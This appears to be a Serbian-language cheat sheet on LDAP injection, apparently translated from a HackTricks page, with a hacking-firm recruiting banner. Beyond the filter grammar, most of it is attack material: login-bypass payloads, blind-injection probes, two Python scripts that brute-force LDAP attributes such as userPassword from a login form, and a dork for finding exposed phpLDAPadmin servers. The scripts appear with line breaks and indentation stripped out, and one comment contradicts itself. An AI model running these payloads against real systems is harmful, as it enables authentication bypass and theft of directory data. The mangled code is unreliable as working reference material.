Ako ste zainteresovani za hakersku karijeru i hakovanje neuhvatljivog - zapošljavamo! (potrebno je tečno poznavanje pisanog i govornog poljskog jezika).
LDAP Injection je napad koji cilja veb aplikacije koje konstruišu LDAP izjave na osnovu korisničkog unosa. To se dešava kada aplikacija nepravilno filtrira unos, omogućavajući napadačima da manipulišu LDAP izjavama putem lokalnog proksija, što potencijalno može dovesti do neovlašćenog pristupa ili manipulacije podacima.
Filter = ( filtercomp )
Filtercomp = and / or / not / item
And = & filterlist
Or = |filterlist
Not = ! filter
Filterlist = 1*filter
Item= simple / present / substring
Simple = attr filtertype assertionvalue
Filtertype = '=' / '~=' / '>=' / '<='Present = attr = *
Substring = attr ”=” [initial] * [final]
Initial = assertionvalue
Final = assertionvalue
(&) = Apolutno TAČNO
(|) = Apolutno NETAČNO
Na primer:
(&(!(objectClass=Impresoras))(uid=s*))(&(objectClass=user)(uid=*))
Možete pristupiti bazi podataka, koja može sadržati informacije različitih tipova.
OpenLDAP: Ako stignu 2 filtera, izvršava se samo prvi.
ADAM ili Microsoft LDS: Sa 2 filtera bacaju grešku.
SunOne Directory Server 5.0: Izvršava oba filtera.
Veoma je važno poslati filter sa ispravnom sintaksom ili će biti bačena greška. Bolje je poslati samo 1 filter.
Filter mora početi sa: & ili |
Primer: (&(directory=val1)(folder=public))
Zatim: (&(objectClass=*)(ObjectClass=*)) će biti prvi filter (onaj koji se izvršava).
Bypassovanje Logovanja
LDAP podržava nekoliko formata za čuvanje lozinke: clear, md5, smd5, sh1, sha, crypt. Dakle, moguće je da bez obzira na to šta unesete u lozinku, ona će biti heširana.
user=*password=*--> (&(user=*)(password=*))# The asterisks are great in LDAPi
user=admin)(&)password=pwd--> (&(user=admin)(&))(password=pwd) #Can through an error
username=admin)(!(&(|pass=any))--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
Možete prisiliti lažne ili tačne odgovore da proverite da li se vraćaju podaci i potvrdite moguću slepu LDAP injekciju:
#This will result on True, so some information will be shownPayload:*)(objectClass=*))(&objectClass=voidFinalquery: (&(objectClass=*)(objectClass=*))(&objectClass=void )(type=Pepi*))
#This will result on True, so no information will be returned or shownPayload:void)(objectClass=void))(&objectClass=voidFinalquery: (&(objectClass=void)(objectClass=void))(&objectClass=void )(type=Pepi*))
Izbacivanje podataka
Možete iterirati preko ASCII slova, brojeva i simbola:
LDAP objekti podrazumevano sadrže nekoliko atributa koji se mogu koristiti za čuvanje informacija. Možete pokušati bruteforce-ovati sve njih kako biste izvukli te informacije. Možete pronaći listu podrazumevanih LDAP atributa ovde.
#!/usr/bin/python3import requestsimport stringfrom time import sleepimport sysproxy ={"http":"localhost:8080"}url ="http://10.10.10.10/login.php"alphabet = string.ascii_letters + string.digits +"_@{}-/()!\"$%=^[]:;"attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]
for attribute in attributes:#Extract all attributesvalue =""finish =Falsewhilenot finish:for char in alphabet:#In each possition test each possible printable charquery =f"*)({attribute}={value}{char}*"data ={'login':query,'password':'bla'}r = requests.post(url, data=data, proxies=proxy)sys.stdout.write(f"\r{attribute}: {value}{char}")#sleep(0.5) #Avoid brute-force bansif"Cannot login"in r.text:value +=str(char)breakif char == alphabet[-1]:#If last of all the chars, then, no more chars in the valuefinish =Trueprint()
Posebna slepa LDAP ubacivanje (bez "*")
#!/usr/bin/python3import requests, stringalphabet = string.ascii_letters + string.digits +"_@{}-/()!\"$%=^[]:;"flag =""for i inrange(50):print("[i] Looking for number "+str(i))for char in alphabet:r = requests.get("http://ctf.web??action=dir&search=admin*)(password="+ flag + char)if ("TRUE CONDITION"in r.text):flag += charprint("[+] Flag: "+ flag)break
Google Dorks
intitle:"phpLDAPadmin"inurl:cmd.php
Više Payload-a
Ako ste zainteresovani za hakersku karijeru i hakovanje onoga što se ne može hakovati - zapošljavamo! (potrebno je tečno poznavanje poljskog jezika, kako pisano tako i govorno).